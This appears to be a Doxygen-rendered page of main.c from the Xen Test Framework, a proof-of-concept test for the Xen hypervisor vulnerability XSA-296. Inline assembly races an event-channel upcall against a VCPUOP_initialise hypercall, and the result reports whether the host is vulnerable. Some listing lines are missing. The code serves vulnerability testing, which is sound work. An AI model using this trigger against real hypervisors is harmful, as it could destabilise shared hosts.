Xen Test Framework
main.c
Go to the documentation of this file.
1
28#include <xtf.h>
29
30const char test_title[] = "XSA-296 PoC";
31
32/* Helper for simplifying the 32/64bit differences. */
33#ifdef __i386__
34#define COND(_32, _64) _32
35#else
36#define COND(_32, _64) _64
37#endif
38
39/* Appears in exception frames with RPL0. Needs RPL3 to use. */
40#define __TEST_CS64 (GDTE_AVAIL0 << 3)
41
46};
47
48void do_evtchn(struct cpu_regs *regs)
49{
50 if ( IS_DEFINED(CONFIG_64BIT) && regs->cs == __TEST_CS64 )
51 {
52 static unsigned int count;
53 extern unsigned long restart[] asm ("restart");
54
55 if ( count++ > 5 )
56 panic("Evtchn livelock\n");
57
58 regs->ip = _u(restart);
59 }
60
63}
64
65void test_main(void)
66{
67 unsigned long tmp;
68 int rc;
69
70 /* Set up a secondary %cs so we can spot SYSCALL being executed. */
71 if ( IS_DEFINED(CONFIG_64BIT) )
73 GDTE_SYM(0, 0xfffff, COMMON, CODE, DPL3, R, L));
74
75 /*
76 * Prepare pagetables:
77 * - vcpu1_ctx.cr3 points at t2, which references t1
78 * - t2 is an L4 (64bit) or an L3 (32bit)
79 * - t1 is an L3 (64bit) or an L2xen (32bit)
80 *
81 * * L4 validation is performed with preemption, but without actually
82 * checking, so it needs to decend a level before the hypercall will
83 * hit a contination point.
84 */
85 t2[3] = pte_from_virt(t1, PF_SYM(P));
87
89 _u(t1), pte_from_virt(t1, PF_SYM(AD, P)), UVMF_INVLPG) )
90 return xtf_error("Error trying to remap t1 as read-only\n");
92 _u(t2), pte_from_virt(t2, PF_SYM(AD, P)), UVMF_INVLPG) )
93 return xtf_error("Error trying to remap t2 as read-only\n");
94
95 /*
96 * Opencoded version of:
97 *
98 * shared_info.vcpu_info[0].evtchn_upcall_pending = 1;
99 * shared_info.vcpu_info[0].evtchn_upcall_mask = 0;
100 * rc = hypercall_vcpu_op(VCPUOP_initialise, 1, &vcpu1_ctx);
101 *
102 * but written with only a single instruction race window between enabling
103 * events and issuing the hypercall.
104 */
105 asm volatile (
106#ifdef __x86_64__
107 /* Set up %cs so we can spot when SYSCALL gets executed. */
108 "restart:"
109 "push $%c[cs];"
110 "push $1f;"
111 "lretq; 1:"
112#endif
113 /*
114 * shared_info.vcpu_info[0].evtchn_upcall_pending = 1;
115 * shared_info.vcpu_info[0].evtchn_upcall_mask = 0;
116 */
117 "movb $1, %[pend];"
118 "movb $0, %[mask];"
119
120 /* rc = hypercall_vcpu_op(VCPUOP_initialise, 1, &vcpu1_ctx); */
121 COND("int $0x82;", "syscall;")
122
125 "=a" (rc),
126 COND("=b", "=D") (tmp),
127 COND("=c", "=S") (tmp),
128 "=d" (tmp)
129 : "a" (__HYPERVISOR_vcpu_op),
130 COND("b", "D") (VCPUOP_initialise),
131 COND("c", "S") (1),
132 "d" (&vcpu1_ctx)
133#ifdef __x86_64__
134 , [cs] "i" (__TEST_CS64 | 3)
135#endif
136
137 : "memory"
138#ifdef __x86_64__
139 , "rcx", "r11"
140#endif
141 );
142
143 switch ( rc )
144 {
145 case 0:
146 return xtf_success("Success: " COND("Probably not", "Not")
147 " vulnerable to XSA-296\n");
148
149 case -ENOENT:
150 return xtf_error("Error: Insufficient vcpus\n");
151
152 default:
153 return xtf_error("Error: unexpected result %d\n", rc);
154 }
155}
156
157/*
158 * Local variables:
159 * mode: C
160 * c-file-style: "BSD"
161 * c-basic-offset: 4
162 * tab-width: 4
163 * indent-tabs-mode: nil
164 * End:
165 */
#define VGCF_IN_KERNEL
Definition: xen.h:47
static void update_desc(user_desc *ptr, const user_desc new)
Helper to update a live LDT/GDT entry.
Definition: xtf.h:26
#define __page_aligned_bss
Definition: compiler.h:37
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
user_desc gdt[NR_GDT_ENTRIES]
#define ENOENT
Definition: errno.h:16
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
void panic(const char *fmt,...)
Definition: lib.c:15
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
static unsigned long virt_to_gfn(const void *va)
Definition: mm.h:100
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define L1_PT_ENTRIES
Definition: page.h:69
unsigned long intpte_t
Definition: page.h:152
intpte_t pte_from_virt(const void *va, uint64_t flags)
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
struct vcpu_info vcpu_info[32]
Definition: xen.h:153
uint8_t evtchn_upcall_mask
Definition: xen.h:146
uint8_t evtchn_upcall_pending
Definition: xen.h:145
unsigned long flags
Definition: xen.h:58
unsigned long ctrlreg[8]
Definition: xen.h:65
#define GDTE_SYM(base, limit,...)
As INIT_GDTE_SYM(), but creates a user_desc object.
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define VCPUOP_initialise
Definition: vcpu.h:24
static unsigned int xen_pfn_to_cr3(unsigned int pfn)
Definition: xen-x86_32.h:67
#define __HYPERVISOR_vcpu_op
Definition: xen.h:37
@ UVMF_INVLPG
Definition: xen.h:383
#define __TEST_CS64
Definition: main.c:40
static xen_vcpu_guest_context_t vcpu1_ctx
Definition: main.c:44
static intpte_t t2[L1_PT_ENTRIES]
Definition: main.c:43
static intpte_t t1[L1_PT_ENTRIES]
Definition: main.c:42
void do_evtchn(struct cpu_regs *regs)
May be implemented by a guest to handle Event Channel upcalls.
Definition: main.c:48
#define COND(_32, _64)
Definition: main.c:36